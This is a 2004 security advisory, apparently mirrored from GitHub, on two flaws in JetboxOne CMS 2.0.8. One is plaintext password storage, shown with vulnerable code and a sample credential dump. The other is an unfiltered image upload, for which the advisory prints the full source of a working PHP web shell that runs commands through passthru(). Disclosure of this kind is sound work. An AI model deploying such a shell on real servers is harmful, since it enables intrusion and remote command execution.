-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathadv03-y3dips-2004.txt
158 lines (112 loc) · 5 KB
/
adv03-y3dips-2004.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/
.OR.ID
ECHO_ADV_03$2004
---------------------------------------------------------------------------------
vulnerabilities in JetboxOne CMS
---------------------------------------------------------------------------------
Author: y3dips
Date: August, 4th 2004
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv03-y3dips-2004.txt
---------------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jetboxone is a freeware content management system, written in php by Arjen.
download at : http://www.sourceforge.net/projects/jetboxone
Version :
tested on jetbox v2.0.8
not tested on other/older version but it is possible be the same
----------------------------------------------------------------------------------
Vulnerabilities:
~~~~~~~~~~~~~~~~
A. Unencrypted Password input in database table of user(Admin) and web user :
all password that store in database was not encrypted, it means that attacker
who could attack the database are possible to look all account and all password
without do anything to crack it
it prove in :
/admin/cms/useradmin.inc.php > file for created admin and author
$sql="INSERT INTO user (login, user_password, email, type, display_name) VALUES ('$_REQUEST[uname]','$_REQUEST[password1]','$_REQUEST[email]',\
'$_REQUEST[usertype]','$_REQUEST[fullname]')";
mysql_prefix_query($sql) or die (mysql_error());
$newuid = mysql_insert_id();
$_REQUEST[password1] <--- no encryption process,
or if u dont believe, you just see in your database ,
drive trough to your database from console ,
mysql> use jet[or your db name]
mysql> SELECT * FROM `user` ;
+-----+---------+--------+---------------+------------------------+---------------+---------------+-------+----------------+
| uid | session | login | user_password | email | type | display_name | visit | history |
+-----+---------+--------+---------------+------------------------+---------------+---------------+-------+----------------+
| 1 | NULL | admin | admin1 | [email protected] | administrator | Administrator | 1104 | 20040803215054 |
| 2 | NULL | dudul | carnage | [email protected] | user | dudul | 7 | 20040803223734 |
| 3 | NULL | y3dips | ganteng | [email protected] | administrator | y3dips | NULL | 20040803203157 |
+-----+---------+--------+---------------+------------------------+---------------+---------------+-------+----------------+
3 rows in set (0.11 sec)
also for webuser (standard user)
command :
mysql> SELECT * FROM `webuser` ;
B. Remote Execution shell
it is possible for "Standard user" that have right as "Author" in "IMAGES"
modules to upload malicious file (php shell :P) , because there isn`t filterring
input file to uploads, so itis possible to execute malicious code, in this case
i proof it with php code (use passthru() to execute shell command )
make some php code, and upload it in images upload box :
this is my simple code :
---------------code-------------------
<!-- simple php shell made by y3dips (echo.or.id) for test only-->
<html>
<head>
<title>#E-C-H-O $imple $hell</title>
</head>
<BODY bgcolor="#000000">
<table>
<tr><td bgcolor=#cccccc>
<?
if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="ls -la ; pwd ;id "; }
echo "<b>";
echo "<div align=left><textarea name=report cols=70 rows=15>";
echo "".passthru($_POST['cmd'])."";
echo "</textarea></div>";
echo "</b>";
?>
</td></tr></table>
<table>
<tr><td height=18>
<?
echo "<form name=command method=post>";
echo "<font face=Verdana size=1 color=red>";
echo "<b> [echo]$ </b> ";
echo "<input type=text name=cmd size=45> ";
echo "<input type=submit name=submit value=\"0k\">";
echo "</font>";
echo "</form>";
?>
</td></tr></table>
---------------eof code------------------
save it as cmd.php
and then click "show" BUM you have a shell with nobody access (APACHE/HTTPD)
"there you go"
Solution from me : you should edit the script, so it will filter the input file by
extension (such as jpg, gif, and others image file).
----------------------------------------------------------------------------------
The fix:
~~~~~~~~
Vendor not contacted yet
but i ll post it to them later
----------------------------------------------------------------------------------
Shoutz:
~~~~~~~
~ echo|staff (m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to)
~ #e-c-h-o@DALNET
-----------------------------------------------------------------------------------
Contact:
~~~~~~~~
y3dips || echo|staff || y3dips[at]phreaker[dot]net
Homepage: http://y3dips.echo.or.id/
---------------------------------- [ EOF ] ----------------------------------------